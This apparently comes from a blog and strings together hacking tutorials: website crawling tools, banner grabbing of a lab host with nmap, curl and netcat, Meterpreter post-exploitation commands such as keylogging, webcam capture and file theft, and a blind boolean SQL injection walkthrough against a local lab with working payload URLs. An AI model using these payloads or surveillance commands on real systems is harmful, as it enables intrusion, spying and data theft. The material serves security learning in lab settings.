5 Ways to Crawl a Website


A Web crawler, sometimes called a spider, is an Internet bot that systematically browses the World Wide Web, typically for the purpose of Web indexing .

A Web crawler starts with a list of URLs to visit, called the seeds. As the crawler visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit.  If the crawler is performing archiving of websites it copies and saves the information as it goes. The archive is known as the repository and is designed to store and manage the collection of web pages. A repository is similar to any other system that stores data, like a modern day database.

Let’s Begin!!
Metasploit
This auxiliary module is a modular web crawler, to be used in conjuntion with wmap (someday) or standalone.

use auxiliary/crawler/msfcrawler
msf auxiliary(msfcrawler) > set rhosts www.tptl.in
msf auxiliary(msfcrawler) > exploit



From, screenshot you can see it has loaded crawler in order to exact hidden file from any website, for example about.php, jquery contact form, html and etc which is not possible to exact manually from website using browser. For information gathering of any website we can use it.


HTTRACK
HTTrack is a free and open source Web crawler and offline browser, developed by Xavier Roche
It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site's relative link-structure. 

Type following command inside the terminal
httrack http://tptl.in -O /root/Desktop/file

It will save the output inside given directory /root/Desktop/file


From given screenshot you can observe this, it has dumb the website information inside it which consist html file as well as JavaScript and jquery.


BLACK WIDOW
This Web spider utility detects and displays detailed information for a user-selected Web page, and it offers other Web page tools.
BlackWidow's clean, logically tabbed interface is simple enough for intermediate users to follow but offers just enough under the hood to satisfy advanced users. Simply enter your URL of choice and press Go. BlackWidow uses multithreading to quickly download all files and test the links. The operation takes only a few minutes for small Web sites.

You can download it from here.

Enter your URL http://tptl.in in Address field and press Go.


Click on start button given on left side to begin URL scanning and select a folder  to save the output file.
Fromscreenshot you can observe that I had browse C:\Users\RAJ\Desktop\tptl in order to store output file inside it.


When you will open target folder tptl you will get entire data of website either image or content, html file, php file and JavaScript all are saved in it.


WEBSITE RIPPER COPIER

Website Ripper Copier (WRC) is an all-purpose, high-speed website downloader software to save website data. WRC can download website files to local drive for offline browsing, extract website files of a certain size and type, like image, video, picture, movie and music, retrieve a large number of files as a download manager with resumption support, and mirror sites. WRC is also a site link validator, explorer, and tabbed anti pop-up Web / offline browser.

Website Ripper Copier is the only website downloader tool that can resume broken downloads from HTTP, HTTPS and FTP connections, access password-protected sites, support Web cookies, analyze scripts, update retrieved sites or files, and launch more than fifty retrieval threads

You can download it from here.

Choose “web sites for offline browsing” option.


Enter the website URL as http://tptl.in and click on next.


Mention directory path to save the output result and click run now.

When you will open selected folder tp you will get fetched css,php,html and js file inside it.


BURP SUITE SPIDER
Burp Spider is a tool for automatically crawling web applications. While it is generally preferable to map applications manually, you can use Burp Spider to partially automate this process for very large applications, or when you are short of time.
For more detail read our privious articles from here.
From given screenshot you can observe that I had fetched the http request of http:// tptl.in; now send to spider with help of action tab.


The targeted website has been added inside the site map under target tab as a new scope for web crawling.  From screenshot you can see it started web crawling of the target website where it has collected the website information in the form of php, html and js.

5 ways to Banner Grabbing

Banner are refers as text message that received from host. Banners usually contain information about a service, such as the version number.
Banner grabbing is a process to collect details regarding any remote PC on a network and the services running on its open ports. An attacker can make use of banner grabbing in order to discover network hosts and running services with their versions on their open ports and more over operating systems so that he can exploits it.


Nmap
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
The banner will be shortened to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.

Type following command which will fetch banner for every open port in remote PC.
nmap -sV --script=banner 192.168.1.106

From screenshot you can read the services and their version for open ports fetched by NMAP Script to grab banner for the target 192.168.1.106


Following command will grab the banner for selected port i.e. 80 for http service and version.
nmap -Pn -p 80 -sV --script=banner 192.168.1.106
As result it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”


CURL
Curl –I is use for head in order to shown document information only; type following command to grab HTTP banner of remote PC.
curl -s -I 192.168.1.106 | grep -e "Server: "
As result it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”


TELNET
Type following command to grab SSH banner of remote PC.
telnet 192.168.1.106 22
As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”

 NETCAT
Type following command to grab SSH banner of remote PC.
nc –v 192.168.1.106 22
As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”

 DMITRY
DMitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in C. DMitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more.

Dmitry –b is use for banner grabbing for all open ports; Type following command to grab SSH banner of remote PC.

dmitry -b 192.168.1.106
From screenshot you can see it has shown banner for open port 21, 22, 23 and 25.
In this way Attacker can grab the services and their version for open ports on remote PC.

Beginner Guide to Meterpreter (Part 1)

Metasploit is a security project or we can say a framework provided to us in order to run exploit code in the target’s PC.

Metasploit in current scenario includes more than 1600 exploits. It has more than 420 payloads right now which includes command shell, Meterpreter etc.

Meterpreter is generated only when the session is created. It helps in gaining full access of the target machine.

Once the meterpreter is generated we can have full access of the target machine. Meterpreter includes more than 300 commands which can help us in exploiting the target machine. Help command is the most basic meterpreter command which will provide us all the commands which can be performed on the target machine.
Some of the meterpreter commands are given below:

Sysinfo

This command will provide the system’s information of the victim. It will provide us every detail of the victim’s PC such as architecture, Operating system in the target machine, how many users are logged in into that machine, system’s language.


Getuid
This command will provide the identification of the user of the remote PC.


Getprivs
This command check the privilege present in the remote PC. If the enabled process privileges are less than the current working user is not the admin.


Pwd
Pwd stands for present working directory. It shows the current working directory in the remote PC.
The image above clearly shows that the user is currently in the Downloads.
PS
PS command here stands for process. It will show all the running processes in the remote PC.



The image above is providing all the running processes followed by the process id in the victim’s PC.
Keylogger
Keylogger includes 3 basic functions:

keyscan_start
This command will start scanning the keyboard activity of the remote PC.

keyscan_dump
This command will dump the keyboard activity of the remote PC i.e,it will capture the input and display on our screen .

keyscan_stop
This command will stop scanning the keyboard activity of the remote PC.



As we can clearly see in the above given image that the input given by the victim is visible to us.
Show_mount
This command will show all the drives present in the remote PC. The drives with the total size and available size in target’s PC is displayed below.

Screenshot
By using this command screenshot of the remote PC is captured and is saved in our PC. The path is also provided where the screenshot is saved as shown in the image below.


Upload

By using this command we can upload any file into the victim’s PC.
To upload the file in remote PC we have to provide the path of the file with the filename and extension of the file as well as the destination where we want to upload.


Download

By using this command we can download any file from the victim’s PC.
To download the file we have to first provide the path from where we want to download followed by the file name and extension of the file. In the last we have to add the path where we want to save that downloaded file.


Shell

Shell command will provide us the access of the command prompt of the remote PC. After having access of the command prompt we can use any cmd command to exploit victim’s PC.


Getsid
In this command sid stands for security identifier. This command will provide the server sid.


Ipconfig
This command will tell us the IP Address of the remote PC. We will also be able to know the Mac Address of the remote PC.

Background

This command will send the current active meterpreter session to the background. If you want to go back on the previous session just write sessions and then we will be able to see the active session in our PC. If there is more than one session then we only have to write sessions followed by the session id and we will have the access of that machine whose session id we just selected.


Migrate
This command helps in transferring the current going process from one port to another port.

As you can see in the image above we have transferred the current going process from port no 3872 to port no 2224.

Reboot
This command will reboot the remote PC.

Webcam_snap
This command will take a snap of the remote PC.


As you can see the above given image is the snap taken by the remote PC.

Getpid

This command will provide us the process id of the current running process. The current running process in the target machine has process id 9040 which is displayed in the below provided image.


Localtime

This command will just show us the date and time of the remote PC.


Checksum

This command will provide the hash value of the given file. We just have to write the command followed by the name of the file as well as the extension of it. Hash value is basically the value distinctly generated for every file to maintain the integrity of the file. If there is any kind of modification in the file the hash value is changed even if there is a modification of a single character.

The above given image provides the hash value of the file kJMKzE.


Thank You for reading this article.  We will be discussing about more meterpreter commands in the next article.

Beginner Guide to SQL Injection Boolean Based (Part 2)

Their so many ways to hack the database using SQL injection as we had seen in our previous tutorial Error based attack, login formed based attack and many more different type of attack in order to retrieve information from inside database. In same way today we will learn a new type of SQL injection attack known as Blind Boolean based attack.

An attacker always check SQL injection vulnerability using comma () inside URL  to break the statement in order to receive sql error message. It is a fight between developer and attacker, the developer increases the security level and attacker try to break it. This time developer had blocked error message as the output on the website. Hence if database is vulnerable to SQL injection then attacker do not obtain any error message on website.Attacker will try to confirm if the database is vulnerable to Blind SQL Injection by evaluating the results of various queries which return either TRUE or FLASE.

Let’s start!!
Using Dhakkan we will demonstrate blind SQL injection.
Lesson 8
Lesson 8 is regarding blind boolean based injection therefore first we need to explore http://localhost:81/sqli/Less-8/?id=1 on browser, this will send the query into database.

SELECT * from table_name WHERE id=1


As output it will display “you are in” the yellow color text on the web page as shown in given image.


When attacker tries to break this query using comma () http://localhost:81/sqli/Less-8/?id=1’
 Or other different technique he will not able to found any error message. More over yellow color text will disappear if attack tries to inject invalid query which also shown in given image.


Then attacker will go for blind sql injection to make sure, that inject query must return an answer either true or false.
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
SELECT * from table_name WHERE id=1’ AND 1=1

Now database test for given condition whether 1 is equal to 1 if query is valid it returns TRUE, from screenshot you can see we have got yellow color text again “you are in”, which means our query is valid.


In next query which check for URL
http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
SELECT * from table_name WHERE id=1’ AND 1=0

Now it will test the given condition whether 1 is equal to 0 as we know 1 is not equal to 0 hence database answer as ‘FLASE’ query. From screenshot it confirms when yellow color text get disappear again.

Hence it confirms that the web application is infected to blind sql injection. Using true and false condition we are going to retrieve database information.


Length of database string
Following query will ask the length of database string. For example the name of database is IGNITE which contains 6 alphabets so length of string for database IGNITE is equal to 6.

Similarly we will inject given below query which will ask whether length of database string is equal to 1, in response of that query it will answer by returning TRUE or FALSE through text “you are in”.

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1--+

From given screenshot you can see again the text gets disappear which means it has return FALSE to reply NO the length of database string is not equal to 1



http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2--+

Again it will test the length of database string is equal to 2; it has return FALSE to reply NO the length of database string is not equal to 2. Repeat the same step till we do not receive TRUE for string length 3/4/5/ and so on.



http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8--+

when I test for string is equal to 8; it answer as true and as result yellow color text “you are in” appears again.



As we know computer does not understand human language it can read only binary language therefore we will use ASCII code. The ASCII code associates an integer value for all symbols in the character set, such as letters, digits, punctuation marks, special characters, and control characters.

For example look at following string ascii code:

1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69


Further we will enumerate database name using ascii character for all 8 strings.
Next query will ask from database test the condition whether first string of database name is greater than 100 using acsii substring.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100--+

It reflects TRUE condition hence if you match the ascii character you will observe that from 100 small alphabets string has been running till 172.



http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120--+

Similarly it will test again whether first letter is greater than 120. But this time it return FALSE which means the first letter is greater than 100 and less than 120.



http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 101--+

Now next it will equate first string from 101, again we got FLASE.



We  had perform this test from 101 till 114 but receive FLASE every time.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 114--+


http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115--+

Finally receive TRUE reply at 115 which means first string is equal to 115, where 115 =‘s’


Similarly test for second string, repeat above step by replacing first string from second.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100--+



I received TRUE reply at 101 which means second string is equal to 101 and 101 = ‘e’.
Similarly I had performed this for all eight strings and got following result:

1 = s = 115
2 = e = 101
3 = c =99
4 = u =117
5 = r =114
6 = i = 105
7 = t = 116
8 = y = 121



Table string length

We have to use same technique for enumerating information of the table from inside the database. Given query will test the condition whether the length of string for first table is greater than 5 or not.

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+

In reply we receive TRUE and text “you are in” appears again on the web site.



Given query will test the condition whether the length of string for first table is greater than 6 or not.

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+

In reply we receive FALSE and text “you are in” disappears again from the web site.



Given query will test the condition whether the length of string for first table is equal to 6 or not.

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

In reply we receive TRUE and text “you are in” appears again on the web site.

Similarly I test for second and third table using same technique by replacing only table number in same query.



Similarly enumerating fourth table information using following query to test the condition whether the length of string for fourth table is equal to 5 or not.

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

In reply we receive TRUE and text “you are in” appears again on the web site.

As we had performed in database enumeration using ascii code similarly we are going to use same technique to retrieve table name.



Further we will enumerate 4th table name using ascii character for all 5 strings.
Next query will ask from database to test the condition whether first string of table name is greater than 115 using acsii substring.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+

It reflects TRUE condition text “you are in” appears again on the web site hence if you match the ascii character.



Next query will ask from database to test the condition whether first string of table name is greater than 120 using acsii substring.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+

But this time it return FALSE which means the first letter is greater than 115 and less than 120.



Proceeding towards equating the string from ascii code between number 115 to 120. Next query will ask from database to test the condition whether first string of table name is greater than 120 using acsii substring.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+

It return FALSE, text get disappear.



http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+

It returns TRUE, text get appear.

Similarly we had test remaining strings and received following result
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115



User Name Enumeration

Using same method we are going to enumerate length of string username from inside the table users
Given below query will test for string length is equal to 4 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+

It reply TRUE with help of yellow color text



Using same method we are going to enumerate username from inside the table users

Given below query will test for first string using ascii code.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+

We received FALSE which means the first string must be less than 100.


 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+

 We received TRUE which means the first string must be more than 50.



Similarly,

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+

We received TRUE which means the first string must be more than 60.




Similarly,

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+

 We received FALSE which means the first string is less than 70.
Hence first string must lie between 60 and 70 of ascii code.



Proceeding towards comparing string from different ascii code using following query.

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+
This time successfully receive TRUE with appearing text “you are in”.
Similarly I had test for all four string in order to retrieve username:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98

Hence today we had learned how attacker hacked database using blind sql injection.

!!Try yourself to retrieve password for user dumb!!